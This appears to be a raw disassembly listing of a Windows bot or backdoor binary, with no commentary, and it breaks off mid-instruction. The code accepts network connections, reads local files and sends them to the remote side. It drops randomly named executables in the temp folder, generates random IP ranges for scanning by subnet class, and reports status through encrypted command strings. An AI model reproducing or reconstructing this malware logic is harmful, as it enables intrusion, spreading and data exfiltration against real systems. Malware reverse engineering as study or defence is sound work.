lea eax, [ebp+var_5BC0] push edi push eax push edi mov [ebp+var_98], 2Dh mov [ebp+var_94], edi mov [ebp+var_5BC0], 1 call dword_4372B0 ; select test eax, eax jg short loc_40FE8D push offset aRccsh_adukf1 ; "RcCSh.AdUKf1" lea eax, [ebp+var_21B8] push offset aSTimedOutClosi ; "%s Timed Out, closing connection." push eax push [ebp+arg_10] call sub_41CE4A add esp, 10h push [ebp+arg_68] call dword_437044 ; CloseHandle push [ebp+arg_C] mov esi, dword_4372D8 call esi ; dword_4372D8 push edi call esi ; dword_4372D8 jmp loc_412FED ; --------------------------------------------------------------------------- loc_40FE8D: ; CODE XREF: sub_40A9FE+5455j lea eax, [ebp+var_70] push eax lea eax, [ebp+var_CF4] push eax push [ebp+arg_C] call dword_4372B4 ; accept cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_40FF4B push [ebp+arg_C] call dword_4372D8 ; closesocket mov [ebp+arg_4], ebx loc_40FEB9: ; CODE XREF: sub_40A9FE+5547j push esi lea eax, [ebp+var_7180] push edi push eax mov [ebp+arg_64], esi call sub_429760 add esp, 0Ch cmp [ebp+arg_4], esi jnb short loc_40FED8 mov eax, [ebp+arg_4] mov [ebp+arg_64], eax loc_40FED8: ; CODE XREF: sub_40A9FE+54D2j push edi push edi push [ebp+arg_8] push [ebp+arg_68] call dword_4370BC ; SetFilePointer lea eax, [ebp+var_48] push edi push eax lea eax, [ebp+var_7180] push [ebp+arg_64] push eax push [ebp+arg_68] call dword_437084 ; ReadFile push edi lea eax, [ebp+var_7180] push [ebp+arg_64] push eax push [ebp+var_4] call dword_4372D0 ; send mov [ebp+arg_64], eax push edi lea eax, [ebp+var_7180] push esi push eax push [ebp+var_4] call dword_4372D4 ; recv mov ecx, [ebp+arg_8] mov [ebp+arg_4], ebx add ecx, [ebp+arg_64] sub [ebp+arg_4], ecx mov [ebp+arg_8], ecx cmp [ebp+arg_4], 1 jb short loc_40FF4B cmp [ebp+arg_64], 1 jb short loc_40FF4B cmp eax, 1 jnb loc_40FEB9 loc_40FF4B: ; CODE XREF: sub_40A9FE+54A9j ; sub_40A9FE+553Cj ... mov eax, [ebp+arg_8] cdq idiv esi shr ebx, 0Ah push ebx push eax push offset aRccsh_adukf1 ; "RcCSh.AdUKf1" lea eax, [ebp+var_21B8] push offset aSConnectionClo ; "%s Connection closed: (%i/%ikB sent)." push eax push [ebp+arg_10] call sub_41CE4A add esp, 18h push [ebp+arg_68] call dword_437044 ; CloseHandle push [ebp+arg_C] mov esi, dword_4372D8 call esi ; dword_4372D8 push [ebp+var_4] call esi ; dword_4372D8 jmp loc_414995 ; --------------------------------------------------------------------------- loc_40FF90: ; CODE XREF: sub_40A9FE+51ACj push dword ptr [ebx] push offset aUfbss0cbo8c__0 ; "uFbSS0Cbo8C." call edi ; dword_437178 test eax, eax jnz loc_410189 cmp [ebx+4], eax jz loc_41017F cmp [ebx+8], eax jz loc_41017F push 11h call sub_42381F test eax, eax pop ecx mov [ebp+arg_C], eax jle short loc_410006 cmp [ebp+arg_14], 0 mov ebx, offset aJqrlpUxr08Qqdu ; "JQrlp/UXr08/qqduw/ZeDHN/N/Wda.tYScO0znN"... mov edi, offset aSSD_ ; "%s %s (%d)." jnz short loc_40FFEE cmp [ebp+arg_18], 0 jnz short loc_40FFF8 push eax push ebx push offset aHuudgYqzdz ; "HuuDG/YQZDz/" push edi push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 18h loc_40FFEE: ; CODE XREF: sub_40A9FE+55D2j cmp [ebp+arg_18], 0 jz loc_414995 loc_40FFF8: ; CODE XREF: sub_40A9FE+55D8j push [ebp+arg_C] push ebx loc_40FFFC: ; CODE XREF: sub_40A9FE+5715j push offset aHuudgYqzdz ; "HuuDG/YQZDz/" jmp loc_41491C ; --------------------------------------------------------------------------- loc_410006: ; CODE XREF: sub_40A9FE+55C2j mov eax, [ebp+arg_10] mov ecx, [ebp+arg_20] mov [ebp+var_728], eax mov eax, [ebp+arg_14] mov [ebp+var_674], eax mov eax, [ebp+arg_18] mov [ebp+var_670], eax mov [ebp+var_678], ecx test eax, eax lea eax, [ebp+var_724] jnz short loc_410039 push dword ptr [esi+0Ch] jmp short loc_41003B ; --------------------------------------------------------------------------- loc_410039: ; CODE XREF: sub_40A9FE+5634j push dword ptr [esi] loc_41003B: ; CODE XREF: sub_40A9FE+5639j push eax call dword_4370B4 ; lstrcpyA mov eax, [ebx+4] xor ecx, ecx mov [ebp+var_6A0], eax mov eax, [ebx+8] mov [ebp+var_69C], eax xor eax, eax loc_410058: ; DATA XREF: .text:off_43BCBCo mov [ebp+var_694], eax cmp [ebx+0Ch], eax mov edi, offset aHuudgYqzdz ; "HuuDG/YQZDz/" setnz cl mov [ebp+var_690], ecx xor ecx, ecx cmp [ebx+10h], eax setnz cl mov [ebp+var_68C], ecx push dword ptr [ebx+8] mov eax, [ebx+4] push eax push offset aRy6iq0udbphLlD ; "RY6IQ0UDbPh/LL/Dw.r3B9K/" push edi push offset aSSS_ ; "%s %s %s." push 11h call sub_4234A7 add esp, 18h mov [ebp+var_6A4], eax lea eax, [ebp+arg_0] lea ecx, [ebp+var_728] push eax xor eax, eax push eax push ecx push offset sub_4182BA push eax push eax call dword_437180 ; CreateThread mov ecx, [ebp+var_6A4] imul ecx, 2724h test eax, eax mov dword_46D72C[ecx], eax jnz short loc_410120 cmp [ebp+arg_14], eax mov ebx, dword_437170 mov edi, offset aSSD_ ; "%s %s (%d)." jnz short loc_410101 cmp [ebp+arg_18], eax jnz short loc_41010B call ebx ; dword_437170 push eax push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"... push offset aHuudgYqzdz ; "HuuDG/YQZDz/" push edi push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 18h loc_410101: ; CODE XREF: sub_40A9FE+56E0j cmp [ebp+arg_18], 0 jz loc_414995 loc_41010B: ; CODE XREF: sub_40A9FE+56E5j call ebx ; dword_437170 push eax push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"... jmp loc_40FFFC ; --------------------------------------------------------------------------- loc_410118: ; CODE XREF: sub_40A9FE+5729j push 32h call dword_437190 ; Sleep loc_410120: ; CODE XREF: sub_40A9FE+56D0j cmp [ebp+var_66C], 0 jz short loc_410118 xor eax, eax cmp [ebp+arg_14], eax jnz short loc_41015E cmp [ebp+arg_18], eax jnz short loc_410168 cmp [ebp+arg_20], eax jz loc_414995 push dword ptr [ebx+8] mov eax, [ebx+4] push eax push offset aRy6iq0udbphLlD ; "RY6IQ0UDbPh/LL/Dw.r3B9K/" push edi push offset aSSS_ ; "%s %s %s." push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 1Ch loc_41015E: ; CODE XREF: sub_40A9FE+5730j cmp [ebp+arg_18], 0 jz loc_414995 loc_410168: ; CODE XREF: sub_40A9FE+5735j push dword ptr [ebx+8] mov eax, [ebx+4] push eax push offset aRy6iq0udbphLlD ; "RY6IQ0UDbPh/LL/Dw.r3B9K/" push edi push offset aSSS_ ; "%s %s %s." jmp loc_414988 ; --------------------------------------------------------------------------- loc_41017F: ; CODE XREF: sub_40A9FE+55A6j ; sub_40A9FE+55AFj mov edi, offset aHuudgYqzdz ; "HuuDG/YQZDz/" jmp loc_40BF10 ; --------------------------------------------------------------------------- loc_410189: ; CODE XREF: sub_40A9FE+559Dj push dword ptr [ebx] push offset aNoazx1alvg0 ; "NoaZx1Alvg/0" call edi ; dword_437178 test eax, eax jnz loc_410418 xor ecx, ecx cmp [ebx+4], ecx jnz short loc_4101BC cmp [ebp+arg_14], ecx mov edi, offset a6hwiyOatg9_6n5 ; "6HWiy/OAtg9.6N5aw.affEY1" mov ebx, offset aFoabg1acvfoOsd ; "fOaBg1ACVfo/osdpb1E0v95." jnz loc_40BF3A cmp [ebp+arg_18], ecx jmp loc_40BF1F ; --------------------------------------------------------------------------- loc_4101BC: ; CODE XREF: sub_40A9FE+57A1j mov eax, [ebx+8] cmp eax, ecx jz short loc_4101D3 push eax push offset a3c9 ; "]&3c9" call edi ; dword_437178 test eax, eax jz loc_414995 loc_4101D3: ; CODE XREF: sub_40A9FE+57C3j push 11h call sub_42381F test eax, eax pop ecx mov [ebp+arg_C], eax jle short loc_410226 cmp [ebp+arg_14], 0 mov ebx, offset aJqrlpUxr08Qqdu ; "JQrlp/UXr08/qqduw/ZeDHN/N/Wda.tYScO0znN"... mov edi, offset aSSD_ ; "%s %s (%d)." jnz short loc_41020E cmp [ebp+arg_18], 0 jnz short loc_410218 push eax push ebx push offset a6hwiyOatg9_6n5 ; "6HWiy/OAtg9.6N5aw.affEY1" push edi push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 18h loc_41020E: ; CODE XREF: sub_40A9FE+57F2j cmp [ebp+arg_18], 0 jz loc_414995 loc_410218: ; CODE XREF: sub_40A9FE+57F8j push [ebp+arg_C] push ebx loc_41021C: ; CODE XREF: sub_40A9FE+59A8j push offset a6hwiyOatg9_6n5 ; "6HWiy/OAtg9.6N5aw.affEY1" jmp loc_41491C ; --------------------------------------------------------------------------- loc_410226: ; CODE XREF: sub_40A9FE+57E2j lea eax, [ebp+var_6D80] push eax push 104h call dword_4370B8 ; GetTempPathA call sub_429B9C push 9 pop edi cdq mov ecx, edi idiv ecx push edx call sub_429B9C cdq mov ecx, edi idiv ecx push edx call sub_429B9C cdq mov ecx, edi idiv ecx push edx call sub_429B9C cdq mov ecx, edi idiv ecx push edx call sub_429B9C cdq idiv edi lea eax, [ebp+var_6D80] push edx push offset dword_4439B4 push eax lea eax, [ebp+var_5DC4] push offset aSSDDDDD_exe ; "%s%s%d%d%d%d%d.exe" push eax call sub_429B03 mov eax, [ebp+arg_10] mov ecx, [ebp+arg_20] mov [ebp+var_664], eax mov eax, [ebp+arg_14] mov [ebp+var_5B0], eax mov eax, [ebp+arg_18] add esp, 24h mov [ebp+var_5AC], eax test eax, eax mov [ebp+var_5B4], ecx lea eax, [ebp+var_660] jnz short loc_4102C3 push dword ptr [esi+0Ch] jmp short loc_4102C5 ; --------------------------------------------------------------------------- loc_4102C3: ; CODE XREF: sub_40A9FE+58BEj push dword ptr [esi] loc_4102C5: ; CODE XREF: sub_40A9FE+58C3j push eax call dword_4370B4 ; lstrcpyA mov eax, [ebx+4] xor ecx, ecx mov [ebp+var_5DC], eax lea eax, [ebp+var_5DC4] mov [ebp+var_5D8], eax xor eax, eax cmp [ebx+0Ch], eax mov [ebp+var_5D0], 1 mov [ebp+var_5CC], eax mov [ebp+var_5C8], eax setnz cl mov [ebp+var_5C4], ecx mov eax, [ebx+4] lea ecx, [ebp+var_5DC4] mov edi, offset aRy6iq0udbphN2n ; "RY6IQ0UDbPh/N2NHs/pc9zb/8Wb3v063Ds00" push ecx push eax push edi push offset a6hwiyOatg9_6n5 ; "6HWiy/OAtg9.6N5aw.affEY1" push offset dword_441058 push 11h call sub_4234A7 add esp, 18h mov [ebp+var_5E0], eax lea eax, [ebp+arg_0] lea ecx, [ebp+var_664] push eax xor eax, eax push eax push ecx push offset sub_4182BA push eax push eax call dword_437180 ; CreateThread mov ecx, [ebp+var_5E0] imul ecx, 2724h test eax, eax mov dword_46D72C[ecx], eax jnz short loc_4103B3 cmp [ebp+arg_14], eax mov ebx, dword_437170 mov edi, offset aSSD_ ; "%s %s (%d)." jnz short loc_410394 cmp [ebp+arg_18], eax jnz short loc_41039E call ebx ; dword_437170 push eax push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"... push offset a6hwiyOatg9_6n5 ; "6HWiy/OAtg9.6N5aw.affEY1" push edi push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 18h loc_410394: ; CODE XREF: sub_40A9FE+5973j cmp [ebp+arg_18], 0 jz loc_414995 loc_41039E: ; CODE XREF: sub_40A9FE+5978j call ebx ; dword_437170 push eax push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"... jmp loc_41021C ; --------------------------------------------------------------------------- loc_4103AB: ; CODE XREF: sub_40A9FE+59BCj push 32h call dword_437190 ; Sleep loc_4103B3: ; CODE XREF: sub_40A9FE+5963j cmp [ebp+var_5A8], 0 jz short loc_4103AB xor eax, eax cmp [ebp+arg_14], eax jnz short loc_4103F4 cmp [ebp+arg_18], eax jnz short loc_4103FE cmp [ebp+arg_20], eax jz loc_414995 push [ebp+var_5D8] mov eax, [ebx+4] push eax push edi push offset a6hwiyOatg9_6n5 ; "6HWiy/OAtg9.6N5aw.affEY1" push offset dword_441058 push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 1Ch loc_4103F4: ; CODE XREF: sub_40A9FE+59C3j cmp [ebp+arg_18], 0 jz loc_414995 loc_4103FE: ; CODE XREF: sub_40A9FE+59C8j push [ebp+var_5D8] mov ebx, [ebx+4] push ebx push edi push offset a6hwiyOatg9_6n5 ; "6HWiy/OAtg9.6N5aw.affEY1" push offset dword_441058 jmp loc_414988 ; --------------------------------------------------------------------------- loc_410418: ; CODE XREF: sub_40A9FE+5796j push dword ptr [ebx] push offset aUqyil_iyvpi_ ; "uQYiL.iYvpI." call edi ; dword_437178 test eax, eax jnz loc_41060D cmp [ebx+4], eax jz loc_410603 cmp [ebx+8], eax jz loc_410603 mov edi, 200h push edi push eax push offset dword_4565A0 call sub_429760 push edi push 0 push offset dword_4567A8 call sub_429760 push edi push 0 push offset dword_4569A8 call sub_429760 push edi push 0 push offset dword_456BA8 call sub_429760 mov edi, dword_4370B4 add esp, 30h push dword ptr [ebx+4] push offset dword_4565A0 call edi ; dword_4370B4 push dword ptr [ebx+8] call sub_42A100 mov dword_4567A0, eax mov eax, [ebx+0Ch] test eax, eax pop ecx jz short loc_4104A3 push eax push offset dword_4567A8 call edi ; dword_4370B4 loc_4104A3: ; CODE XREF: sub_40A9FE+5A9Bj mov eax, [ebx+10h] test eax, eax jz short loc_4104B2 push eax push offset dword_4569A8 call edi ; dword_4370B4 loc_4104B2: ; CODE XREF: sub_40A9FE+5AAAj mov ebx, [ebx+14h] test ebx, ebx jz short loc_4104C1 push ebx push offset dword_456BA8 call edi ; dword_4370B4 loc_4104C1: ; CODE XREF: sub_40A9FE+5AB9j cmp [ebp+arg_60], 0 jz loc_4105AF call dword_437188 ; GetTickCount push eax call sub_429B8F pop ecx call sub_429B9C push 1Ah pop ebx cdq mov ecx, ebx idiv ecx add edx, 61h push edx call sub_429B9C cdq mov ecx, ebx idiv ecx add edx, 61h push edx call sub_429B9C cdq mov ecx, ebx idiv ecx add edx, 61h push edx call sub_429B9C cdq mov ecx, ebx idiv ecx add edx, 61h push edx call sub_429B9C cdq mov ecx, ebx idiv ecx add edx, 61h push edx call sub_429B9C cdq idiv ebx mov ebx, offset dword_456218 add edx, 61h push edx push offset aCCCCCC ; "%c%c%c%c%c%c" push ebx call sub_429B03 add esp, 20h push ebx push offset dword_4567A8 call edi ; dword_4370B4 push ebx push offset dword_4569A8 call edi ; dword_4370B4 call sub_429B9C push 9 pop ebx cdq mov ecx, ebx idiv ecx push edx call sub_429B9C cdq mov ecx, ebx idiv ecx push edx call sub_429B9C cdq mov ecx, ebx idiv ecx push edx call sub_429B9C cdq mov ecx, ebx idiv ecx push edx call sub_429B9C cdq idiv ebx lea eax, [ebp+var_61CC] push edx push offset dword_4439B4 push offset aSDDDDD_exe ; "%s%d%d%d%d%d.exe" push eax call sub_429B03 add esp, 20h lea eax, [ebp+var_61CC] push eax push offset dword_456BA8 call edi ; dword_4370B4 loc_4105AF: ; CODE XREF: sub_40A9FE+5AC7j cmp [ebp+arg_14], 0 mov dword_456DA8, 1 mov edi, offset aC4dd9_nojvo1 ; "C4dD9.nojvO1" mov ebx, offset aSIsSetToSDUSPS ; "%s is set to %s:%d U: %s P: %s F: %s" jnz short loc_4105FD cmp [ebp+arg_18], 0 jnz loc_41066F push offset dword_456BA8 push offset dword_4569A8 push offset dword_4567A8 push dword_4567A0 push offset dword_4565A0 push edi push ebx push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 24h loc_4105FD: ; CODE XREF: sub_40A9FE+5BC9j cmp [ebp+arg_18], 0 jmp short loc_410669 ; --------------------------------------------------------------------------- loc_410603: ; CODE XREF: sub_40A9FE+5A2Ej ; sub_40A9FE+5A37j mov edi, offset aC4dd9_nojvo1 ; "C4dD9.nojvO1" jmp loc_40BF10 ; --------------------------------------------------------------------------- loc_41060D: ; CODE XREF: sub_40A9FE+5A25j push dword ptr [ebx] push offset a4qyyh1q2ps1 ; "4QyYH1q/2ps1" call edi ; dword_437178 test eax, eax jnz loc_4106CE cmp dword_456DA8, eax mov edi, offset aC4dd9_nojvo1 ; "C4dD9.nojvO1" jz short loc_41069D cmp [ebp+arg_14], eax mov ebx, offset aSIsSetToSDUSPS ; "%s is set to %s:%d U: %s P: %s F: %s" jnz short loc_410666 cmp [ebp+arg_18], eax jnz short loc_41066F push offset dword_456BA8 push offset dword_4569A8 push offset dword_4567A8 push dword_4567A0 push offset dword_4565A0 push edi push ebx push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 24h xor eax, eax loc_410666: ; CODE XREF: sub_40A9FE+5C35j cmp [ebp+arg_18], eax loc_410669: ; CODE XREF: sub_40A9FE+5C03j jz loc_412FED loc_41066F: ; CODE XREF: sub_40A9FE+5BCFj ; sub_40A9FE+5C3Aj push offset dword_456BA8 push offset dword_4569A8 push offset dword_4567A8 push dword_4567A0 push offset dword_4565A0 push edi push ebx push dword ptr [esi] push [ebp+arg_10] call sub_41CDD4 add esp, 24h jmp loc_412FED ; --------------------------------------------------------------------------- loc_41069D: ; CODE XREF: sub_40A9FE+5C2Bj cmp [ebp+arg_14], eax mov ebx, offset aSIsOff_ ; "%s is off." jnz short loc_4106BE cmp [ebp+arg_18], eax jnz short loc_4106C7 push edi push ebx push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 10h xor eax, eax loc_4106BE: ; CODE XREF: sub_40A9FE+5CA7j cmp [ebp+arg_18], eax loc_4106C1: ; CODE XREF: sub_40A9FE+5D9Fj jz loc_412FED loc_4106C7: ; CODE XREF: sub_40A9FE+5CACj ; sub_40A9FE:loc_410783j push edi push ebx jmp loc_40BA60 ; --------------------------------------------------------------------------- loc_4106CE: ; CODE XREF: sub_40A9FE+5C1Aj push dword ptr [ebx] push offset aZgidu12tiv0 ; "ZGidU12tiV0/" call edi ; dword_437178 test eax, eax jnz short loc_410702 cmp dword_456DA8, eax jz loc_412FED mov ebx, offset aSIsOn_ ; "%s is on." loc_4106EC: ; CODE XREF: sub_40A9FE+5D22j cmp [ebp+arg_14], eax mov edi, offset aC4dd9_nojvo1 ; "C4dD9.nojvO1" jnz loc_410799 cmp [ebp+arg_18], eax jmp loc_410783 ; --------------------------------------------------------------------------- loc_410702: ; CODE XREF: sub_40A9FE+5CDBj push dword ptr [ebx] push offset aHgcrw_cwuf5_ ; "HGCRW.CWUF5." call edi ; dword_437178 test eax, eax jnz short loc_410722 cmp dword_456DA8, eax jnz loc_412FED mov ebx, offset aSIsOff_ ; "%s is off." jmp short loc_4106EC ; --------------------------------------------------------------------------- loc_410722: ; CODE XREF: sub_40A9FE+5D0Fj push dword ptr [ebx] push offset aGztle_nhywf ; "gzTlE.nhywf/" call edi ; dword_437178 test eax, eax jnz short loc_4107A2 mov edi, 200h xor ebx, ebx push edi push ebx push offset dword_4565A0 mov dword_456DA8, ebx call sub_429760 push edi push ebx push offset dword_4567A8 call sub_429760 push edi push ebx push offset dword_4569A8 call sub_429760 push edi push ebx push offset dword_456BA8 call sub_429760 add esp, 30h cmp [ebp+arg_14], 0 mov edi, offset aC4dd9_nojvo1 ; "C4dD9.nojvO1" mov ebx, offset aSIsOff_ ; "%s is off." jnz short loc_410799 cmp [ebp+arg_18], 0 loc_410783: ; CODE XREF: sub_40A9FE+5CFFj jnz loc_4106C7 push edi push ebx push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 10h loc_410799: ; CODE XREF: sub_40A9FE+5CF6j ; sub_40A9FE+5D7Fj cmp [ebp+arg_18], 0 jmp loc_4106C1 ; --------------------------------------------------------------------------- loc_4107A2: ; CODE XREF: sub_40A9FE+5D2Fj push dword ptr [ebx] push offset aL80reUvcue1 ; "l80re/UvCUe1" call edi ; dword_437178 test eax, eax jnz short loc_4107F6 cmp [ebp+arg_18], eax mov ebx, [ebx+4] jnz short loc_4107D1 test ebx, ebx jz short loc_4107C4 push ebx call sub_42A100 pop ecx jmp short loc_4107C6 ; --------------------------------------------------------------------------- loc_4107C4: ; CODE XREF: sub_40A9FE+5DBBj xor eax, eax loc_4107C6: ; CODE XREF: sub_40A9FE+5DC4j push eax push [ebp+arg_20] push 0 push dword ptr [esi+0Ch] jmp short loc_4107E9 ; --------------------------------------------------------------------------- loc_4107D1: ; CODE XREF: sub_40A9FE+5DB7j test ebx, ebx jz short loc_4107DE push ebx call sub_42A100 pop ecx jmp short loc_4107E0 ; --------------------------------------------------------------------------- loc_4107DE: ; CODE XREF: sub_40A9FE+5DD5j xor eax, eax loc_4107E0: ; CODE XREF: sub_40A9FE+5DDEj push eax push [ebp+arg_20] push [ebp+arg_18] push dword ptr [esi] loc_4107E9: ; CODE XREF: sub_40A9FE+5DD1j push [ebp+arg_10] call sub_401990 jmp loc_41479B ; --------------------------------------------------------------------------- loc_4107F6: ; CODE XREF: sub_40A9FE+5DAFj push dword ptr [ebx] push offset aTvjro1ubgtg1 ; "TVJrO1uBGtg1" call edi ; dword_437178 test eax, eax jnz short loc_410842 mov ebx, [ebx+4] test ebx, ebx jz short loc_410812 push ebx call sub_42A100 jmp short loc_410819 ; --------------------------------------------------------------------------- loc_410812: ; CODE XREF: sub_40A9FE+5E0Aj push 8 call sub_42381F loc_410819: ; CODE XREF: sub_40A9FE+5E12j test eax, eax pop ecx jz loc_414995 cmp [ebp+arg_18], 0 push eax jnz short loc_410830 push 0 push dword ptr [esi+0Ch] jmp short loc_410835 ; --------------------------------------------------------------------------- loc_410830: ; CODE XREF: sub_40A9FE+5E29j push [ebp+arg_18] push dword ptr [esi] loc_410835: ; CODE XREF: sub_40A9FE+5E30j push [ebp+arg_10] call sub_40204B jmp loc_41474E ; --------------------------------------------------------------------------- loc_410842: ; CODE XREF: sub_40A9FE+5E03j push dword ptr [ebx] push offset aVxa_uCdd7s0 ; "VXA.u/cDD7S0" call edi ; dword_437178 test eax, eax jnz short loc_41085B push offset aMflx2_qu4vy_ ; "mflX2.QU4VY." push 8 jmp loc_412B29 ; --------------------------------------------------------------------------- loc_41085B: ; CODE XREF: sub_40A9FE+5E4Fj push dword ptr [ebx] push offset aH1cmq0wqw5c_ ; "h1cMQ0wQw5C." call edi ; dword_437178 test eax, eax jnz loc_410E28 cmp [ebx+4], eax jz loc_414756 cmp [ebx+8], eax jz loc_414756 cmp [ebx+0Ch], eax jz loc_414756 cmp [ebx+10h], eax jz loc_414756 push 8 call sub_423800 push dword ptr [ebx+8] mov [ebp+arg_C], eax call sub_42A100 add eax, [ebp+arg_C] pop ecx pop ecx cmp eax, 1C2h jg loc_413EDD push dword ptr [ebx+4] call sub_42A100 movzx eax, ax mov [ebp+var_244], eax push dword ptr [ebx+8] call sub_42A100 mov [ebp+var_22C], eax push dword ptr [ebx+0Ch] call sub_42A100 add esp, 0Ch cmp eax, 1 mov [ebp+var_240], eax jnb short loc_4108F0 xor eax, eax inc eax mov [ebp+var_240], eax loc_4108F0: ; CODE XREF: sub_40A9FE+5EE7j push 3 pop ecx cmp eax, ecx jbe short loc_4108FD mov [ebp+var_240], ecx loc_4108FD: ; CODE XREF: sub_40A9FE+5EF7j push dword ptr [ebx+10h] call sub_42A100 mov [ebp+var_23C], eax mov eax, 270Fh cmp [ebp+var_23C], eax pop ecx jbe short loc_41091F mov [ebp+var_23C], eax loc_41091F: ; CODE XREF: sub_40A9FE+5F19j mov eax, [ebp+arg_14] or [ebp+var_228], 0FFFFFFFFh mov dword_454A48, eax mov eax, [ebp+arg_20] mov dword_454A4C, eax mov eax, [ebp+arg_18] xor ecx, ecx mov dword_454A50, eax cmp dword_43A378, ecx mov [ebp+arg_C], ecx jz short loc_41098F mov [ebp+arg_4], offset dword_43A378 loc_410952: ; CODE XREF: sub_40A9FE+5F71j mov eax, [ebp+arg_4] push dword ptr [ebx+4] add eax, 0FFFFFFD0h push eax call edi ; dword_437178 test eax, eax jz short loc_410973 add [ebp+arg_4], 40h inc [ebp+arg_C] mov eax, [ebp+arg_4] cmp dword ptr [eax], 0 jnz short loc_410952 jmp short loc_41098D ; --------------------------------------------------------------------------- loc_410973: ; CODE XREF: sub_40A9FE+5F62j mov eax, [ebp+arg_C] mov ecx, eax mov [ebp+var_228], eax shl ecx, 6 mov ecx, dword_43A378[ecx] mov [ebp+var_244], ecx loc_41098D: ; CODE XREF: sub_40A9FE+5F73j xor ecx, ecx loc_41098F: ; CODE XREF: sub_40A9FE+5F4Bj cmp [ebp+var_244], ecx jnz short loc_4109C8 cmp [ebp+arg_14], ecx mov edi, offset aSInvalidPort ; "%s Invalid port" jnz short loc_4109C0 cmp [ebp+arg_18], ecx jnz loc_41473E push offset aMflx2_qu4vy_ ; "mflX2.QU4VY." push edi push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 10h xor ecx, ecx loc_4109C0: ; CODE XREF: sub_40A9FE+5FA1j cmp [ebp+arg_18], ecx jmp loc_414738 ; --------------------------------------------------------------------------- loc_4109C8: ; CODE XREF: sub_40A9FE+5F97j mov eax, [ebx+14h] cmp eax, ecx jz loc_410A56 push eax push offset aX_x_x_x ; "x.x.x.x" call edi ; dword_437178 test eax, eax jnz short loc_410A27 call dword_437188 ; GetTickCount push eax call sub_429B8F pop ecx loc_4109EC: ; CODE XREF: sub_40A9FE+6001j call sub_429B9C cdq mov ecx, 0E1h idiv ecx add edx, 4 cmp edx, 7Fh jz short loc_4109EC push edx push offset aD_x_x_x ; "%d.x.x.x" lea eax, [ebp+var_2D4] push 10h push eax call sub_429BBE add esp, 10h loc_410A18: ; CODE XREF: sub_40A9FE+6216j ; sub_40A9FE+621Ej ... mov [ebp+var_218], 1 jmp loc_410C49 ; --------------------------------------------------------------------------- loc_410A27: ; CODE XREF: sub_40A9FE+5FDFj push dword ptr [ebx+14h] lea eax, [ebp+var_2D4] push 10h push eax call sub_429BBE push 78h push dword ptr [ebx+14h] call sub_42B1A0 add esp, 14h neg eax sbb eax, eax neg eax mov [ebp+var_218], eax jmp loc_410C49 ; --------------------------------------------------------------------------- loc_410A56: ; CODE XREF: sub_40A9FE+5FCFj cmp [ebp+arg_64], ecx jnz short loc_410AB1 cmp [ebp+arg_54], ecx jnz loc_410B82 cmp [ebp+arg_58], ecx jnz loc_410B82 cmp [ebp+arg_5C], ecx jnz loc_410B82 cmp [ebp+arg_60], ecx jnz loc_410B82 cmp [ebp+arg_14], ecx mov ebx, offset aMflx2_qu4vy_ ; "mflX2.QU4VY." mov edi, offset aSNoIpSpecified ; "%s No IP specified." jnz short loc_410AA9 cmp [ebp+arg_18], ecx jnz loc_40B666 push ebx push edi push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 10h xor ecx, ecx loc_410AA9: ; CODE XREF: sub_40A9FE+608Ej cmp [ebp+arg_18], ecx jmp loc_40B660 ; --------------------------------------------------------------------------- loc_410AB1: ; CODE XREF: sub_40A9FE+605Bj cmp [ebp+arg_54], ecx jz short loc_410ABF mov [ebp+arg_C], 1 jmp short loc_410AD9 ; --------------------------------------------------------------------------- loc_410ABF: ; CODE XREF: sub_40A9FE+60B6j cmp [ebp+arg_58], ecx jz short loc_410ACD mov [ebp+arg_C], 2 jmp short loc_410AD9 ; --------------------------------------------------------------------------- loc_410ACD: ; CODE XREF: sub_40A9FE+60C4j cmp [ebp+arg_5C], ecx jz short loc_410B50 mov [ebp+arg_C], 3 loc_410AD9: ; CODE XREF: sub_40A9FE+60BFj ; sub_40A9FE+60CDj mov ebx, offset dword_457C40 push offset byte_454A54 push ebx call edi ; dword_437178 test eax, eax jz short loc_410AF5 push ebx call sub_41E4C1 test eax, eax pop ecx jz short loc_410B1B loc_410AF5: ; CODE XREF: sub_40A9FE+60EAj mov ecx, [ebp+arg_10] call sub_41DB58 mov ecx, [ebp+arg_10] push eax call sub_41CF25 mov edi, eax push 2710h push edi call dword_43707C ; WaitForSingleObject push edi call dword_437044 ; CloseHandle loc_410B1B: ; CODE XREF: sub_40A9FE+60F5j push [ebp+arg_C] mov edi, [ebp+arg_60] push edi push ebx call sub_401F54 add esp, 0Ch test eax, eax jz loc_414995 push 10h push eax lea eax, [ebp+var_2D4] push eax call sub_429D10 add esp, 0Ch mov [ebp+var_218], edi jmp loc_410C49 ; --------------------------------------------------------------------------- loc_410B50: ; CODE XREF: sub_40A9FE+60D2j mov edi, offset aMflx2_qu4vy_ ; "mflX2.QU4VY." mov ebx, offset aSNoSubnetClass ; "%s No subnet class specified." loc_410B5A: ; CODE XREF: sub_40A9FE+36EDj cmp [ebp+arg_14], ecx jnz short loc_410B7A cmp [ebp+arg_18], ecx jnz loc_40D2C7 push edi push ebx push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 10h xor ecx, ecx loc_410B7A: ; CODE XREF: sub_40A9FE+615Fj cmp [ebp+arg_18], ecx jmp loc_40D2C1 ; --------------------------------------------------------------------------- loc_410B82: ; CODE XREF: 